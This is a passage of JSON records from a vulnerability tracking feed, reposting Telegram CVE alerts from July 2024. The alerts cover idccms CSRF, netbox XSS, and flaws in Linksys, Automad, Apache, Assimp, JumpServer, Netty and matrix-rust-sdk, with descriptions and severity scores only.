\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T15:56:52.000000Z"}, {"uuid": "6e04b505-76bd-4cde-8fb1-e81654ffcabb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40036", "type": "seen", "source": "https://t.me/cvedetector/428", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40036 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40036 \nPublished : July 9, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/userGroup_deal.php?mudi=add&nohrefStr=close \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T21:55:24.000000Z"}, {"uuid": "5bfe8c07-bc7c-4822-a01f-211f9df40d7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40038", "type": "seen", "source": "https://t.me/cvedetector/427", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40038 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40038 \nPublished : July 9, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/userScore_deal.php?mudi=rev \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T21:55:23.000000Z"}, {"uuid": "f4bbccbc-d201-435e-9503-c1d0ec91f97f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40034", "type": "seen", "source": "https://t.me/cvedetector/431", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40034 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40034 \nPublished : July 9, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/userLevel_deal.php?mudi=del \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T21:55:30.000000Z"}, {"uuid": "4c26a037-7d67-4e7c-9993-0c18393306fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40732", "type": "seen", "source": "https://t.me/cvedetector/416", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40732 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40732 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/rear-ports/add/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:40:00.000000Z"}, {"uuid": "b1c49c87-fe76-4048-8944-3acac6c6f136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40726", "type": "seen", "source": "https://t.me/cvedetector/415", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40726 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40726 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/power-ports/{id}/edit/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:58.000000Z"}, {"uuid": "c658fe39-3fd3-4fce-a62c-b5dcea9e8df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40730", "type": "seen", "source": "https://t.me/cvedetector/414", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40730 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40730 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/interfaces/{id}/edit/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:57.000000Z"}, {"uuid": "8b91c9dc-11c8-4f7b-b329-af771d484294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40750", "type": "seen", "source": "https://t.me/cvedetector/440", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40750 - Linksys Velop Pro 6E 1.0.8 MX6200_1.0.8.215731 and\", \n  \"Content\": \"CVE ID : CVE-2024-40750 \nPublished : July 9, 2024, 8:15 p.m. | 28\u00a0minutes ago \nDescription : Linksys Velop Pro 6E 1.0.8 MX6200_1.0.8.215731 and 7 1.0.10.215314 devices send cleartext Wi-Fi passwords over the public Internet during app-based installation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T22:45:53.000000Z"}, {"uuid": "8dea1322-537f-475a-9a52-941018921c2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40731", "type": "seen", "source": "https://t.me/cvedetector/422", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40731 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40731 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/rear-ports/{id}/edit/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:40:05.000000Z"}, {"uuid": "2ce6a187-3dff-452b-8906-b77c364fc2f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40727", "type": "seen", "source": "https://t.me/cvedetector/421", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40727 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40727 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/console-server-ports/add/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:40:04.000000Z"}, {"uuid": "eae1f182-53f5-4219-8ec7-5408641c6cbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40735", "type": "seen", "source": "https://t.me/cvedetector/420", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40735 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40735 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/power-outlets/{id}/edit/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:40:03.000000Z"}, {"uuid": "19ce5444-8062-4a6c-a200-81ae7cd4f946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40729", "type": "seen", "source": "https://t.me/cvedetector/419", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40729 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40729 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/interfaces/add/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:40:03.000000Z"}, {"uuid": "ba75f2a3-effe-4611-b4e8-ee7cba48a331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40736", "type": "seen", "source": "https://t.me/cvedetector/418", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40736 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40736 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/power-outlets/add. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:40:02.000000Z"}, {"uuid": "593eaf99-c7f9-48c5-bebb-c6989625f1e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40734", "type": "seen", "source": "https://t.me/cvedetector/417", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40734 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40734 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/front-ports/add/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:40:01.000000Z"}, {"uuid": "409a925a-955c-4b3b-b77c-6ca9ef554f32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40728", "type": "seen", "source": "https://t.me/cvedetector/413", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40728 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40728 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/console-server-ports/{id}/edit/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:56.000000Z"}, {"uuid": "0e5bacca-8f9e-4173-b9d5-57fba2adfa68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40733", "type": "seen", "source": "https://t.me/cvedetector/412", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40733 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40733 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/front-ports/{id}/edit/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:55.000000Z"}, {"uuid": "74f71d77-a679-4a90-ba5d-5dbe9dab9d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40737", "type": "seen", "source": "https://t.me/cvedetector/410", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40737 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40737 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/console-ports/add. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:53.000000Z"}, {"uuid": "25f6f5d3-cd02-4757-b39d-d34ab9a2ff96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40739", "type": "seen", "source": "https://t.me/cvedetector/409", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40739 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40739 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/power-feeds/add. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:49.000000Z"}, {"uuid": "7e639410-8ec2-47ea-8170-f97877167b05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40741", "type": "seen", "source": "https://t.me/cvedetector/408", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40741 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40741 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the circuit ID parameter at /circuits/circuits/{id}/edit/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:48.000000Z"}, {"uuid": "9a347044-8934-438a-bad6-bbb597aec96d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40738", "type": "seen", "source": "https://t.me/cvedetector/407", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40738 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40738 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/console-ports/{id}/edit/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:47.000000Z"}, {"uuid": "aca8313a-ec8c-43ab-86bd-45ae9c5d60b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40742", "type": "seen", "source": "https://t.me/cvedetector/406", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40742 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40742 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the circuit ID parameter at /circuits/circuits/add. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:46.000000Z"}, {"uuid": "b1cde8ec-7e4e-4b00-aa39-a8b26351d669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40740", "type": "seen", "source": "https://t.me/cvedetector/405", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40740 - A cross-site scripting (XSS) vulnerability in netb\", \n  \"Content\": \"CVE ID : CVE-2024-40740 \nPublished : July 9, 2024, 6:15 p.m. | 16\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter at /dcim/power-feeds/{id}/edit/. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T20:39:45.000000Z"}, {"uuid": "a271d774-9622-4b02-968e-5486018729cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40400", "type": "seen", "source": "https://t.me/cvedetector/1229", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40400 - Automad RCE Through File Upload\", \n  \"Content\": \"CVE ID : CVE-2024-40400 \nPublished : July 19, 2024, 7:15 p.m. | 42\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the image upload function of Automad v2.0.0 allows attackers to execute arbitrary code via a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-19T22:03:44.000000Z"}, {"uuid": "4e583bdc-edad-4a31-a5a6-b1d529945e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "seen", "source": "https://t.me/cvedetector/1150", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40725 - Apache HTTP Server PHP Source Code Disclosure Handler Configuration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40725 \nPublished : July 18, 2024, 10:15 a.m. | 44\u00a0minutes ago \nDescription : A partial fix for\u00a0 CVE-2024-39884 in the core of Apache HTTP Server 2.4.61 ignores some use of the legacy content-type based configuration of handlers. \"AddType\" and similar configuration, under some circumstances where files are requested indirectly, result in source code disclosure of local content. For example, PHP scripts may be served instead of interpreted.  \n  \nUsers are recommended to upgrade to version 2.4.62, which fixes this issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T13:27:13.000000Z"}, {"uuid": "0421725a-a781-4988-96e6-de3de5c12421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40724", "type": "seen", "source": "https://t.me/cvedetector/1202", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40724 - Assimp Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40724 \nPublished : July 19, 2024, 8:15 a.m. | 35\u00a0minutes ago \nDescription : Heap-based buffer overflow vulnerability in Assimp versions prior to 5.4.2 allows a local attacker to execute arbitrary code by inputting a specially crafted file into the product. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-19T11:11:30.000000Z"}, {"uuid": "e8f10a46-ce2c-4e6d-b720-06139ab3648b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40629", "type": "seen", "source": "https://t.me/cvedetector/1166", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40629 - JumpServer Ansible Playbook Arbitrary File Write RCE\", \n  \"Content\": \"CVE ID : CVE-2024-40629 \nPublished : July 18, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : JumpServer is an open-source Privileged Access Management (PAM) tool that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser. An attacker can exploit the Ansible playbook to write arbitrary files, leading to remote code execution (RCE) in the Celery container. The Celery container runs as root and has database access, allowing an attacker to steal all secrets for hosts, create a new JumpServer account with admin privileges, or manipulate the database in other ways. This issue has been patched in release versions 3.10.12 and 4.0.0. It is recommended to upgrade the safe versions. There are no known workarounds for this vulnerability. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-18T20:08:23.000000Z"}, {"uuid": "a350897c-8397-4a75-9b89-33445674c54f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40642", "type": "seen", "source": "https://t.me/cvedetector/1183", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40642 - Netty Incubator Binary HTTP Parser HTTP Entity Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40642 \nPublished : July 18, 2024, 11:15 p.m. | 34\u00a0minutes ago \nDescription : The netty incubator codec.bhttp is a java language binary http parser. In affected versions the `BinaryHttpParser` class does not properly validate input values thus giving attackers almost complete control over the HTTP requests constructed from the parsed output. Attackers can abuse several issues individually to perform various injection attacks including HTTP request smuggling, desync attacks, HTTP header injections, request queue poisoning, caching attacks and Server Side Request Forgery (SSRF). Attacker could also combine several issues to create well-formed messages for other text-based protocols which may result in attacks beyond the HTTP protocol. The BinaryHttpParser class implements the readRequestHead method which performs most of the relevant parsing of the received request. The data structure prefixes values with a variable length integer value. The parsing code below first gets the lengths of the values from the prefixed variable length integer. After it has all of the lengths and calculates all of the indices, the parser casts the applicable slices of the ByteBuf to String. Finally, it passes these values into a new `DefaultBinaryHttpRequest` object where no further parsing or validation occurs. Method is partially validated while other values are not validated at all. Software that relies on netty to apply input validation for binary HTTP data may be vulnerable to various injection and protocol based attacks. This issue has been addressed in version 0.0.13.Final. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-19T01:59:29.000000Z"}, {"uuid": "a509cca0-4b00-4e08-922b-773c601560ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40648", "type": "seen", "source": "https://t.me/cvedetector/1163", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40648 - Matrix-Rust-SDK UserIdentity Verification Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40648 \nPublished : July 18, 2024, 5:15 p.m. | 41\u00a0minutes ago \nDescription : matrix-rust-sdk is an implementation of a Matrix client-server library in Rust. The `UserIdentity::is_verified()` method in the matrix-sdk-crypto crate before version 0.7.2 doesn't take into account the verification status of the user's own identity while performing the check and may as a result return a value contrary to what is implied by its name and documentation. If the method is used to decide whether to perform sensitive operations towards a user identity, a malicious homeserver could manipulate the outcome in order to make the identity appear trusted. This is not a typical usage of the method, which lowers the impact. The method itself is not used inside the `matrix-sdk-crypto` crate. The 0.7.2 release of the `matrix-sdk-crypto` crate includes a fix. All users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": 